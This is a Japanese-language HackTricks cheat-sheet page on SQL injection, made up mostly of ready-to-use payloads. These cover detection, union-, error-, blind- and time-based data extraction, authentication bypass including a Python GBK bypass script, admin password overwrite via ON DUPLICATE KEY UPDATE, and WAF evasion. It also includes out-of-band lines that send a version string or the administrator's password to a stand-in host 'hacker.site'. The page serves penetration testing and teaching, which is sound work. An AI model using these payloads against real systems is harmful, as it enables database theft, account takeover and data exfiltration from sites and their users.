SQL Injection
Reading time: 30 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
SQLインジェクションとは?
SQLインジェクションは、攻撃者がアプリケーションのデータベースクエリに干渉することを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は見る、変更する、または削除することができないデータにアクセスできるようになり、他のユーザーの情報やアプリケーションがアクセスできるデータを含みます。このような行動は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービス拒否を引き起こす可能性があります。
エントリーポイントの検出
サイトがSQLi関連の入力に対して異常なサーバー応答を示す場合、SQLインジェクション(SQLi)に脆弱であると見なされます。最初のステップは、クエリを中断することなくデータを注入する方法を理解することです。これには、現在のコンテキストから効果的にエスケープする方法を特定する必要があります。以下は役立ついくつかの例です:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
次に、エラーが出ないようにクエリを修正する方法を知っておく必要があります。クエリを修正するためには、データを入力して前のクエリが新しいデータを受け入れるようにするか、単にデータを入力して最後にコメント記号を追加することができます。
エラーメッセージが見える場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができる場合、このフェーズはより簡単になります。
コメント
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
論理演算による確認
SQLインジェクションの脆弱性を確認する信頼できる方法は、論理演算を実行し、期待される結果を観察することです。例えば、?username=Peter
というGETパラメータが?username=Peter' or '1'='1
に変更しても同じ内容が得られる場合、SQLインジェクションの脆弱性が示されます。
同様に、数学的演算の適用も効果的な確認手法です。例えば、?id=1
と?id=2-1
にアクセスして同じ結果が得られる場合、SQLインジェクションを示唆しています。
論理演算による確認を示す例:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
この単語リストは、提案された方法でSQLインジェクションを確認するために作成されました:
タイミングによる確認
場合によっては、テストしているページに変化が見られないことがあります。したがって、ブラインドSQLインジェクションを発見する良い方法は、DBにアクションを実行させ、ページの読み込みに時間に影響を与えることです。
したがって、SQLクエリに完了するのに多くの時間がかかる操作を連結します:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
場合によっては、スリープ関数が許可されないことがあります。その場合、これらの関数を使用する代わりに、複雑な操作を実行するクエリを作成することができます。これらの技術の例は、各技術ごとに別々にコメントされる予定です(もしあれば)。
バックエンドの特定
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの_スリープ_ 関数や、次のものを使用できます(payloadsallthethingsの表):
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
また、クエリの出力にアクセスできる場合は、データベースのバージョンを表示させることができます。
note
続いて、異なる種類のSQLインジェクションを悪用するためのさまざまな方法について説明します。例としてMySQLを使用します。
PortSwiggerを使用した識別
SQL injection cheat sheet | Web Security Academy
ユニオンベースの悪用
カラム数の検出
クエリの出力が見える場合、これは悪用するための最良の方法です。
まず最初に、初期リクエストが返すカラムの数を特定する必要があります。これは、両方のクエリが同じ数のカラムを返す必要があるためです。
この目的のために通常使用される2つの方法があります:
Order/Group by
クエリ内のカラム数を特定するには、ORDER BYまたはGROUP BY句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内のGROUP BYとORDER BYの異なる機能にもかかわらず、両方はクエリのカラム数を特定するために同様に利用できます。
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
クエリが正しくなるまで、どんどんnull値を選択します:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
クエリの両側の列の型が同じでなければならない場合があるため、null
値を使用する必要があります。nullはすべてのケースで有効です。
データベース名、テーブル名、および列名の抽出
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの列名を取得します:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
このデータを発見する方法は、異なるデータベースごとに異なりますが、常に同じ方法論です。
隠れたユニオンベースの悪用
クエリの出力が表示されているが、ユニオンベースのインジェクションが達成できない場合、それは隠れたユニオンベースのインジェクションの存在を示しています。このシナリオは、しばしばブラインドインジェクションの状況につながります。ブラインドインジェクションをユニオンベースのものに変換するには、バックエンドでの実行クエリを特定する必要があります。
これは、ブラインドインジェクション技術とターゲットのデータベース管理システム(DBMS)に特有のデフォルトテーブルを使用することで達成できます。これらのデフォルトテーブルを理解するためには、ターゲットDBMSのドキュメントを参照することをお勧めします。
クエリが抽出されたら、元のクエリを安全に閉じるようにペイロードを調整する必要があります。その後、ユニオンクエリをペイロードに追加し、新たにアクセス可能なユニオンベースのインジェクションを悪用できるようにします。
より包括的な洞察については、Healing Blind Injectionsで利用可能な完全な記事を参照してください。
エラーベースの悪用
何らかの理由でクエリの出力を見ることができないが、エラーメッセージを見ることができる場合、これらのエラーメッセージを使用してデータベースからデータを抽出することができます。
ユニオンベースの悪用と同様の流れに従うことで、DBをダンプすることができるかもしれません。
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQLiの悪用
この場合、クエリの結果やエラーを見ることはできませんが、クエリがtrueまたはfalseの応答を返すときに、ページ上の異なる内容によって区別することができます。
この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
エラー盲目的SQLiの悪用
これは以前と同じケースですが、クエリからの真/偽の応答を区別する代わりに、SQLクエリのエラーがあるかどうかを区別することができます(おそらくHTTPサーバーがクラッシュするため)。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
時間ベースのSQLiの悪用
この場合、ページのコンテキストに基づいてクエリの応答を区別する方法はありません。しかし、推測した文字が正しい場合、ページが読み込むのに時間がかかるようにすることができます。この技術は、タイミングで確認するために以前に使用されているのを見たことがあります。
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
スタッククエリ
スタッククエリを使用して、複数のクエリを連続して実行できます。後続のクエリが実行される間、結果はアプリケーションに返されないことに注意してください。したがって、この技術は主にブラインド脆弱性に関連して使用され、2番目のクエリを使用してDNSルックアップ、条件付きエラー、またはタイムディレイをトリガーできます。
Oracleはスタッククエリをサポートしていません。MySQL、Microsoft、およびPostgreSQLはそれをサポートしています: QUERY-1-HERE; QUERY-2-HERE
アウトオブバンドエクスプロイト
他のエクスプロイト手法が機能しなかった場合、データベースが情報をあなたが制御する外部ホストに流出させるように試みることができます。たとえば、DNSクエリを介して:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
XXEを介したアウトオブバンドデータ流出
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
自動化エクスプロイト
SQLMap Cheatsheetを確認して、sqlmapを使用してSQLi脆弱性を悪用してください。
技術特有の情報
SQLインジェクション脆弱性を悪用する方法についてはすでに議論しました。この本でデータベース技術に依存するいくつかのトリックを見つけてください:
また、MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックが https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injectionにあります。
認証バイパス
ログイン機能をバイパスするために試すリスト:
生のハッシュ認証バイパス
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
このクエリは、認証チェックで生の出力に対してtrueを使用してMD5が使用されるときの脆弱性を示しています。これにより、システムはSQLインジェクションに対して脆弱になります。攻撃者は、ハッシュ化されたときに予期しないSQLコマンドの一部を生成する入力を作成することでこれを悪用し、不正アクセスを引き起こすことができます。
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
インジェクションされたハッシュ認証バイパス
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
推奨リスト:
各行のリストをユーザー名として使用し、パスワードは常に: Pass1234.
(このペイロードは、このセクションの最初に言及された大きなリストにも含まれています)
GBK 認証バイパス
IF ' がエスケープされている場合は %A8%27 を使用でき、' がエスケープされると次のように作成されます: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python スクリプト:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
ポリグロットインジェクション(マルチコンテキスト)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
既存のオブジェクト/ユーザーのパスワードを変更する
そのためには、「マスターオブジェクト」と名付けられた新しいオブジェクトを作成する(おそらくadminの場合)ために何かを変更する必要があります:
- 名前をAdMIn(大文字と小文字の文字)にしてユーザーを作成する
- 名前を**admin=**にしてユーザーを作成する
- SQLトランケーション攻撃(ユーザー名やメールに長さ制限がある場合) --> 名前をadmin [たくさんのスペース] aにしてユーザーを作成する
SQLトランケーション攻撃
データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザーadminを偽装したい場合は、"admin [30スペース] a"というユーザー名を作成し、任意のパスワードを使用してみてください。
データベースは、入力されたユーザー名がデータベース内に存在するかを確認します。もし存在しなければ、ユーザー名を最大許可文字数(この場合は"admin [25スペース]"に)切り捨て、その後、自動的に末尾のすべてのスペースを削除してデータベース内のユーザー"admin"を新しいパスワードで更新します(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。
詳細情報: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
注:この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報は: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL挿入時間ベースのチェック
','',''
をできるだけ追加して、VALUESステートメントを終了させると考えます。遅延が実行される場合、SQLインジェクションがあります。
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
ON DUPLICATE KEY UPDATE
句は、MySQLで、UNIQUEインデックスまたはPRIMARY KEYで重複する値をもたらす行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するために使用されるかを示しています。
Example Payload Injection:
注入ペイロードは次のように作成される可能性があり、users
テーブルに2行を挿入しようとしています。最初の行はおとりで、2行目は既存の管理者のメールアドレスをターゲットにしてパスワードを更新する意図があります:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
以下はその仕組みです:
- クエリは2つの行を挿入しようとします:1つは
generic_user@example.com
用、もう1つはadmin_generic@example.com
用です。 admin_generic@example.com
の行がすでに存在する場合、ON DUPLICATE KEY UPDATE
句がトリガーされ、MySQLに既存の行のpassword
フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。- その結果、
admin_generic@example.com
を使用して、bcryptハッシュに対応するパスワードで認証を試みることができます("bcrypt_hash_of_newpassword" は新しいパスワードのbcryptハッシュを表し、実際のパスワードのハッシュに置き換える必要があります)。
情報を抽出する
同時に2つのアカウントを作成する
新しいユーザーを作成しようとする際には、ユーザー名、パスワード、メールアドレスが必要です:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
10進数または16進数の使用
この技術を使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントをする必要はないことに注意してください。
hex2dec と substr を使用して:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
テキストを取得するには、次のようにします:
__import__('binascii').unhexlify(hex(215573607263)[2:])
hex と replace (および substr) を使用して:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
ルーティッドSQLインジェクション
ルーティッドSQLインジェクションは、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに渡される状況です。 (From Paper)
例:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF バイパス
スペースなしバイパス
No Space (%20) - ホワイトスペースの代替を使用してバイパス
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
ホワイトスペースなし - コメントを使用してバイパス
?id=1/*comment*/and/**/1=1/**/--
ホワイトスペースなし - 括弧を使用してバイパス
?id=(1)and(1)=(1)--
No commas bypass
No Comma - OFFSET、FROM、JOINを使用したバイパス
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
一般的なバイパス
キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
キーワードを使用したブラックリスト(大文字と小文字を区別しない) - 同等の演算子を使用してバイパス
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF バイパス
このトリックの詳細な説明はgosecure blogで見つけることができます。
基本的に、WAFをバイパスするために科学的表記を予期しない方法で使用することができます:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
カラム名制限のバイパス
まず最初に、元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合、次のようにすることができます: 0 UNION SELECT * FROM flag
名前を使用せずにテーブルの第三カラムにアクセスすることが可能です。次のようなクエリを使用します: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
。したがって、sqlinjectionでは次のようになります:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
カンマバイパスを使用すること:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
このトリックはhttps://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/から取られました。
WAFバイパス提案ツール
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
その他のガイド
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
ブルートフォース検出リスト
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。